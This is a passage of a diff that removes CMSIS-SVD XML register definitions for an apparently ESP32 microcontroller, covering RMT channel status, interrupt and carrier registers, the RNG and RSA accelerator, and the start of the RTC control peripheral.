-              <description>The channel4 state machine status register.3'h0 : idle, 3'h1 : send, 3'h2 : read memory, 3'h3 : receive, 3'h4 : wait.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_OWNER_ERR</name>
-              <description>When channel4 is configured for receive mode, this bit will turn to high level if rmt_mem_owner register is not set to 1.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_FULL</name>
-              <description>The memory full status bit for channel4 turns to high level when mem_waddr_ex is greater than or equal to the configuration range.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_EMPTY</name>
-              <description>The memory empty status bit for channel4. in acyclic mode, this bit turns to high level when mem_raddr_ex is greater than or equal to the configured range.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_WR_ERR</name>
-              <description>The apb write memory status bit for channel4 turns to high level when the apb write address exceeds the configuration range.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_RD_ERR</name>
-              <description>The apb read memory status bit for channel4 turns to high level when the apb read address exceeds the configuration range.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH5STATUS</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS</name>
-              <description>The status for channel5</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_WADDR_EX</name>
-              <description>The current memory read address of channel5.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_RADDR_EX</name>
-              <description>The current memory write address of channel5.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>STATE</name>
-              <description>The channel5 state machine status register.3'h0 : idle, 3'h1 : send, 3'h2 : read memory, 3'h3 : receive, 3'h4 : wait.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_OWNER_ERR</name>
-              <description>When channel5 is configured for receive mode, this bit will turn to high level if rmt_mem_owner register is not set to 1.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_FULL</name>
-              <description>The memory full status bit for channel5 turns to high level when mem_waddr_ex is greater than or equal to the configuration range.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_EMPTY</name>
-              <description>The memory empty status bit for channel5. in acyclic mode, this bit turns to high level when mem_raddr_ex is greater than or equal to the configured range.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_WR_ERR</name>
-              <description>The apb write memory status bit for channel5 turns to high level when the apb write address exceeds the configuration range.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_RD_ERR</name>
-              <description>The apb read memory status bit for channel5 turns to high level when the apb read address exceeds the configuration range.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH6STATUS</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS</name>
-              <description>The status for channel6</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_WADDR_EX</name>
-              <description>The current memory read address of channel6.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_RADDR_EX</name>
-              <description>The current memory write address of channel6.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>STATE</name>
-              <description>The channel6 state machine status register.3'h0 : idle, 3'h1 : send, 3'h2 : read memory, 3'h3 : receive, 3'h4 : wait.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_OWNER_ERR</name>
-              <description>When channel6 is configured for receive mode, this bit will turn to high level if rmt_mem_owner register is not set to 1.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_FULL</name>
-              <description>The memory full status bit for channel6 turns to high level when mem_waddr_ex is greater than or equal to the configuration range.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_EMPTY</name>
-              <description>The memory empty status bit for channel6. in acyclic mode, this bit turns to high level when mem_raddr_ex is greater than or equal to the configured range.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_WR_ERR</name>
-              <description>The apb write memory status bit for channel6 turns to high level when the apb write address exceeds the configuration range.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_RD_ERR</name>
-              <description>The apb read memory status bit for channel6 turns to high level when the apb read address exceeds the configuration range.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH7STATUS</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS</name>
-              <description>The status for channel7</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_WADDR_EX</name>
-              <description>The current memory read address of channel7.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_RADDR_EX</name>
-              <description>The current memory write address of channel7.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>STATE</name>
-              <description>The channel7 state machine status register.3'h0 : idle, 3'h1 : send, 3'h2 : read memory, 3'h3 : receive, 3'h4 : wait.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_OWNER_ERR</name>
-              <description>When channel7 is configured for receive mode, this bit will turn to high level if rmt_mem_owner register is not set to 1.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_FULL</name>
-              <description>The memory full status bit for channel7 turns to high level when mem_waddr_ex is greater than or equal to the configuration range.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_EMPTY</name>
-              <description>The memory empty status bit for channel7. in acyclic mode, this bit turns to high level when mem_raddr_ex is greater than or equal to the configured range.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_WR_ERR</name>
-              <description>The apb write memory status bit for channel7 turns to high level when the apb write address exceeds the configuration range.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_RD_ERR</name>
-              <description>The apb read memory status bit for channel7 turns to high level when the apb read address exceeds the configuration range.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH0ADDR</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APB_MEM_ADDR</name>
-              <description>The ram relative address in channel0 by apb fifo access</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH1ADDR</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APB_MEM_ADDR</name>
-              <description>The ram relative address in channel1 by apb fifo access</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH2ADDR</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APB_MEM_ADDR</name>
-              <description>The ram relative address in channel2 by apb fifo access</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH3ADDR</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APB_MEM_ADDR</name>
-              <description>The ram relative address in channel3 by apb fifo access</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH4ADDR</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APB_MEM_ADDR</name>
-              <description>The ram relative address in channel4 by apb fifo access</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH5ADDR</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APB_MEM_ADDR</name>
-              <description>The ram relative address in channel5 by apb fifo access</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH6ADDR</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APB_MEM_ADDR</name>
-              <description>The ram relative address in channel6 by apb fifo access</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH7ADDR</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APB_MEM_ADDR</name>
-              <description>The ram relative address in channel7 by apb fifo access</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_TX_END_INT_RAW</name>
-              <description>The interrupt raw bit for channel %s turns to high level when the transmit process is done.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_RX_END_INT_RAW</name>
-              <description>The interrupt raw bit for channel %s turns to high level when the receive process is done.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_ERR_INT_RAW</name>
-              <description>The interrupt raw bit for channel %s turns to high level when channle %s detects some errors.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x1</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_TX_THR_EVENT_INT_RAW</name>
-              <description>The interrupt raw bit for channel %s turns to high level when transmitter in channle%s  have send datas more than  reg_rmt_tx_lim_ch%s  after detecting this interrupt  software can updata the old datas with new datas.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ST</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_TX_END_INT_ST</name>
-              <description>The interrupt  state bit for channel %s's mt_ch%s_tx_end_int_raw when mt_ch%s_tx_end_int_ena is set to %s.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_RX_END_INT_ST</name>
-              <description>The interrupt  state bit for channel %s's rmt_ch%s_rx_end_int_raw when  rmt_ch%s_rx_end_int_ena is set to %s.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_ERR_INT_ST</name>
-              <description>The interrupt  state bit for channel %s's rmt_ch%s_err_int_raw when  rmt_ch%s_err_int_ena is set to %s.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x1</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_TX_THR_EVENT_INT_ST</name>
-              <description>The interrupt state bit  for channel %s's rmt_ch%s_tx_thr_event_int_raw when mt_ch%s_tx_thr_event_int_ena is set to 1.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_TX_END_INT_ENA</name>
-              <description>Set this bit to enable rmt_ch%s_tx_end_int_st.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_RX_END_INT_ENA</name>
-              <description>Set this bit to enable rmt_ch%s_rx_end_int_st.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_ERR_INT_ENA</name>
-              <description>Set this bit to enable rmt_ch%s_err_int_st.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x1</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_TX_THR_EVENT_INT_ENA</name>
-              <description>Set this bit to enable rmt_ch%s_tx_thr_event_int_st.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_TX_END_INT_CLR</name>
-              <description>Set this bit to clear the rmt_ch%s_rx_end_int_raw..</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_RX_END_INT_CLR</name>
-              <description>Set this bit to clear the rmt_ch%s_tx_end_int_raw.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x3</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_ERR_INT_CLR</name>
-              <description>Set this bit to clear the  rmt_ch%s_err_int_raw.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <dim>8</dim>
-              <dimIncrement>0x1</dimIncrement>
-              <dimIndex>0-7</dimIndex>
-              <name>CH%s_TX_THR_EVENT_INT_CLR</name>
-              <description>Set this bit to clear the  rmt_ch%s_tx_thr_event_int_raw interrupt.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH0CARRIER_DUTY</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00400040</resetValue>
-          <fields>
-            <field>
-              <name>CARRIER_LOW</name>
-              <description>This register is used to configure carrier wave's low level value for channel0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER_HIGH</name>
-              <description>This register is used to configure carrier wave's high level value for channel0.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH1CARRIER_DUTY</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00400040</resetValue>
-          <fields>
-            <field>
-              <name>CARRIER_LOW</name>
-              <description>This register is used to configure carrier wave's low level value for channel1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER_HIGH</name>
-              <description>This register is used to configure carrier wave's high level value for channel1.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH2CARRIER_DUTY</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00400040</resetValue>
-          <fields>
-            <field>
-              <name>CARRIER_LOW</name>
-              <description>This register is used to configure carrier wave's low level value for channel2.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER_HIGH</name>
-              <description>This register is used to configure carrier wave's high level value for channel2.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH3CARRIER_DUTY</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00400040</resetValue>
-          <fields>
-            <field>
-              <name>CARRIER_LOW</name>
-              <description>This register is used to configure carrier wave's low level value for channel3.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER_HIGH</name>
-              <description>This register is used to configure carrier wave's high level value for channel3.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH4CARRIER_DUTY</name>
-          <addressOffset>0xC0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00400040</resetValue>
-          <fields>
-            <field>
-              <name>CARRIER_LOW</name>
-              <description>This register is used to configure carrier wave's low level value for channel4.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER_HIGH</name>
-              <description>This register is used to configure carrier wave's high level value for channel4.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH5CARRIER_DUTY</name>
-          <addressOffset>0xC4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00400040</resetValue>
-          <fields>
-            <field>
-              <name>CARRIER_LOW</name>
-              <description>This register is used to configure carrier wave's low level value for channel5.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER_HIGH</name>
-              <description>This register is used to configure carrier wave's high level value for channel5.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH6CARRIER_DUTY</name>
-          <addressOffset>0xC8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00400040</resetValue>
-          <fields>
-            <field>
-              <name>CARRIER_LOW</name>
-              <description>This register is used to configure carrier wave's low level value for channel6.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER_HIGH</name>
-              <description>This register is used to configure carrier wave's high level value for channel6.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH7CARRIER_DUTY</name>
-          <addressOffset>0xCC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00400040</resetValue>
-          <fields>
-            <field>
-              <name>CARRIER_LOW</name>
-              <description>This register is used to configure carrier wave's low level value for channel7.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER_HIGH</name>
-              <description>This register is used to configure carrier wave's high level value for channel7.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x4</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>CH%s_TX_LIM</name>
-          <addressOffset>0xD0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000080</resetValue>
-          <fields>
-            <field>
-              <name>TX_LIM</name>
-              <description>When channel0 sends more than reg_rmt_tx_lim_ch0 datas then channel0 produce the relative interrupt.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APB_CONF</name>
-          <addressOffset>0xF0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APB_FIFO_MASK</name>
-              <description>Set this bit to disable apb fifo access</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEM_TX_WRAP_EN</name>
-              <description>when datas need to be send is more than channel's mem can store  then set this bit to enable reusage of mem this bit is used together with reg_rmt_tx_lim_chn.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x16022600</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <description>This is the version register.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>RNG</name>
-      <description>Hardware random number generator</description>
-      <groupName>RNG</groupName>
-      <baseAddress>0x60035000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x4</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>DATA</name>
-          <description>Random number data</description>
-          <addressOffset>0x144</addressOffset>
-          <size>0x20</size>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>RSA</name>
-      <description>RSA (Rivest Shamir Adleman) Accelerator</description>
-      <groupName>RSA</groupName>
-      <baseAddress>0x3FF02000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x1C</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>RSA</name>
-        <value>51</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>M_PRIME</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>M_PRIME</name>
-              <description>This register contains M’.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MODEXP_MODE</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MODEXP_MODE</name>
-              <description>This register contains the mode of modular exponentiation.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MODEXP_START</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MODEXP_START</name>
-              <description>Write 1 to start modular exponentiation.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MULT_MODE</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MULT_MODE</name>
-              <description>This register contains the mode of modular multiplication and multiplication.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MULT_START</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MULT_START</name>
-              <description>Write 1 to start modular multiplication or multiplication.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INTERRUPT</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INTERRUPT</name>
-              <description>RSA interrupt status register. Will read 1 once an operation has completed.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLEAN</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CLEAN</name>
-              <description>This bit will read 1 once the memory initialization is completed.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>RTC_CNTL</name>
-      <description>Real-Time Clock Control</description>
-      <groupName>RTC_CNTL</groupName>
-      <baseAddress>0x3FF48000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0xDC</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>RTC_CORE</name>
-        <value>46</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>OPTIONS0</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x1C492000</resetValue>
-          <fields>
-            <field>
-              <name>SW_STALL_APPCPU_C0</name>
-              <description>{reg_sw_stall_appcpu_c1[5:0]   reg_sw_stall_appcpu_c0[1:0]} == 0x86 will stall APP CPU</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW_STALL_PROCPU_C0</name>
-              <description>{reg_sw_stall_procpu_c1[5:0]   reg_sw_stall_procpu_c0[1:0]} == 0x86 will stall PRO CPU</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW_APPCPU_RST</name>
-              <description>APP CPU SW reset</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SW_PROCPU_RST</name>
-              <description>PRO CPU SW reset</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>BB_I2C_FORCE_PD</name>
-              <description>BB_I2C force power down</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BB_I2C_FORCE_PU</name>
-              <description>BB_I2C force power up</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
